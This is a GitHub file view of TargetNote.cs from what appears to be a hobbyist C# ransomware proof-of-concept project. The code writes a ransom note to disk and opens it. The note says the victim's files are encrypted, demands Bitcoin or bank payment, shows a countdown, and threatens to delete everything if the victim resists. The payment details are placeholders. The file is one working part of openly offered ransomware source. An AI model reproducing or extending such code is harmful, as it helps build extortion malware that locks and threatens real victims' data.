-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathTargetNote.cs
51 lines (38 loc) · 2.01 KB
/
TargetNote.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace Ilay_sRanomwarePoc
{
static class TargetNote
{
private static readonly string NoteDirectory = Directory.GetCurrentDirectory() + "RansomwareReadMeRightNow.txt";
//some information about the payment:
private const string BitcoinAccount = "ilayliSmuelov@EtherBit"; //btw these arent real
private const string BankingInfo = "ilay@chase";
private const string Email = "ilaysamuelov@C&c.com";
private const string PhoneNumber = "0123456789";
private const double PriceInShekels = 0;
private const int BitCoins = 0;
//time information
private static readonly DateTime TimeOfInfection;
private static readonly DateTime TimeIsUp = new DateTime(1, 1, 1); //the date to set the coundown to
private static readonly string NoteAboutTheRansomware = $"Dear User, your files and important data are encrypted. " +
$"in ordet to be able of seeing your data evet again, youll hvae to pay me {PriceInShekels} or{BitCoins} Bitcoins" +
$"Infection time: {TimeOfInfection}. you have {(TimeIsUp - TimeOfInfection).ToString()} left to pay!"
+ $"The banking information is listed below: \n BitcoinAccount: {BitcoinAccount} \n BankingInfo:" +
$" {BankingInfo} \n Email: {Email} \n PhoneNumber: {PhoneNumber}" + "\n note that the ransomware has admin privlages and any" +
" suspicious behavior will \n cause it to delete EVERYTHING! so dont try us!";
static TargetNote()
{
TimeOfInfection = DateTime.Now;
}
public static void GenerateNote()
{
FileStream Writer = File.Create(NoteDirectory);
Writer.Write(AesEncryption.ConvertStringToByte(NoteAboutTheRansomware));
Writer.Close();
CommandLineExecution.CommandExecution(NoteDirectory);
}
}
}